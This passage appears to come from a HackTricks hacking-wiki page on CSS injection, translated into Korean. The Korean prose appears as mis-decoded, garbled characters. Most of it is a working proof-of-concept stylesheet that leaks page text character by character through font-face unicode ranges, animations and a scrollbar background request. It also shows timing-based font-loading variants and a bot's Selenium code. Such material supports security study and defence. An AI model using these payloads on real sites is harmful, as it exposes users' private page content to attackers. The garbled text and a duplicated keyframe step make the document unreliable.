๋ฌธ์๊ฐ ๋ฐ๊ฒฌ๋๋ฉด, ์ฌ์ ์ค์น๋ Comic Sans font๊ฐ ํ ๋น๋์ด, ๋ฌธ์๋ฅผ ๋ ํฌ๊ฒ ๋ง๋ค๊ณ ์คํฌ๋กค๋ฐ๋ฅผ ์ ๋ฐํ์ฌ ์ฐพ์ ๋ฌธ์๋ฅผ leakํฉ๋๋ค.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset โ ๊ธฐ๋ณธ ํฐํธ๋ฅผ ์ฌ์ฉํด ์์๋ฅผ ์จ๊น์ผ๋ก์จ (์ธ๋ถ ์์ฐ ๋ถํ์)
์ฐธ๊ณ : ์ด ๋ด์ฉ์ an unsuccessful solution in this writeup์์ ์ธ๊ธ๋์ด ์์ต๋๋ค.
์ด ๊ฒฝ์ฐ๋ ์ด์ ๊ฒ๊ณผ ๋งค์ฐ ์ ์ฌํฉ๋๋ค. ๋ค๋ง ์ฌ๊ธฐ์๋ ํน์ ๋ฌธ์๋ฅผ ๋ค๋ฅธ ๊ฒ๋ณด๋ค ํฌ๊ฒ ๋ง๋ค์ด ๋ฌด์ธ๊ฐ๋ฅผ ์จ๊ธฐ๋ ๊ฒ์ด ๋ชฉํ์ ๋๋ค โ ์๋ฅผ ๋ค์ด ๋ด์ด ๋๋ฅด์ง ์๋๋ก ํ๋ ๋ฒํผ์ด๋ ๋ก๋๋์ง ์์ ์ด๋ฏธ์ง์ฒ๋ผ์. ๊ทธ๋์ ์ฐ๋ฆฌ๋ ๊ทธ ํ๋(๋๋ ํ๋์ ๋ถ์ฌ)์ ์ธก์ ํ์ฌ ํ ์คํธ ์์ ํน์ ๋ฌธ์๊ฐ ์กด์ฌํ๋์ง ์ ์ ์์ต๋๋ค.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
์ฐธ๊ณ : ์ด ๋ด์ฉ์ an unsuccessful solution in this writeup์์ ์ธ๊ธ๋์ด ์์ต๋๋ค.
์ด ๊ฒฝ์ฐ์๋ ๊ฐ์ ์ถ์ฒ์์ fake font๋ฅผ ๋ก๋ํ์ฌ ํ ์คํธ์ ํน์ ๋ฌธ์๊ฐ ์๋์ง๋ฅผ leak ํด๋ณด๋ ๋ฐฉ๋ฒ์ ์๋ํ ์ ์์ต๋๋ค:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
์ผ์นํ๋ ํญ๋ชฉ์ด ์๋ค๋ฉด, font will be loaded from /static/bootstrap.min.css?q=1. ๋น๋ก ์ฑ๊ณต์ ์ผ๋ก ๋ก๋๋์ง๋ ์๊ฒ ์ง๋ง, ๋ธ๋ผ์ฐ์ ๊ฐ ์บ์ํด์ผ ํฉ๋๋ค, ๊ทธ๋ฆฌ๊ณ ์บ์๊ฐ ์๋๋ผ๋ 304 not modified ๋ฉ์ปค๋์ฆ์ด ์์ผ๋ฏ๋ก, ์๋ต์ด ๋ค๋ฅธ ๊ฒ๋ค๋ณด๋ค ๋นจ๋ผ์ผ ํฉ๋๋ค.
ํ์ง๋ง ์บ์๋ ์๋ต๊ณผ ๋น์บ์ ์๋ต์ ์๊ฐ ์ฐจ์ด๊ฐ ์ถฉ๋ถํ ํฌ์ง ์๋ค๋ฉด, ์ด๊ฒ์ ์ ์ฉํ์ง ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ์ ์๋ ์ธ๊ธํฉ๋๋ค: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.
Text node exfiltration (III): leaking the charset by timing loading hundreds of local โfontsโ (not requiring external assets)
์ฐธ๊ณ : This is mentioned as an unsuccessful solution in this writeup
์ด ๊ฒฝ์ฐ ์ผ์น๊ฐ ๋ฐ์ํ ๋ ๋์ผ ์ถ์ฒ์์ ์๋ฐฑ ๊ฐ์ ๊ฐ์ง โfontsโ๋ฅผ ๋ก๋ํ๋๋ก CSS๋ฅผ ์ง์ ํ ์ ์์ต๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ์ฌ ํด๋น ๋ฌธ์๊ฐ ๋ํ๋๋์ง ์ฌ๋ถ๋ฅผ ๋ค์๊ณผ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์์๋ผ ์ ์์ต๋๋ค:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
๊ทธ๋ฆฌ๊ณ ๋ด์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
๋ฐ๋ผ์ ํฐํธ๊ฐ ์ผ์นํ์ง ์์ผ๋ฉด ๋ด์ ์ ์ํ์ ๋ ์๋ต ์๊ฐ์ ๋๋ต 30์ด ์ ๋๋ก ์์๋ฉ๋๋ค. ๋ฐ๋ฉด ํฐํธ๊ฐ ์ผ์นํ๋ฉด ํฐํธ๋ฅผ ๊ฐ์ ธ์ค๊ธฐ ์ํด ์ฌ๋ฌ ์์ฒญ์ด ์ ์ก๋์ด ๋คํธ์ํฌ์ ์ง์์ ์ธ ํ๋์ด ๋ฐ์ํฉ๋๋ค. ๊ทธ ๊ฒฐ๊ณผ stop condition์ ๋ง์กฑํ๊ณ ์๋ต์ ๋ฐ๊ธฐ๊น์ง ๋ ์ค๋ ๊ฑธ๋ฆฌ๊ฒ ๋ฉ๋๋ค. ๋ฐ๋ผ์ ์๋ต ์๊ฐ์ ํฐํธ ์ผ์น ์ฌ๋ถ๋ฅผ ํ๋จํ๋ ์งํ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค.
References
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


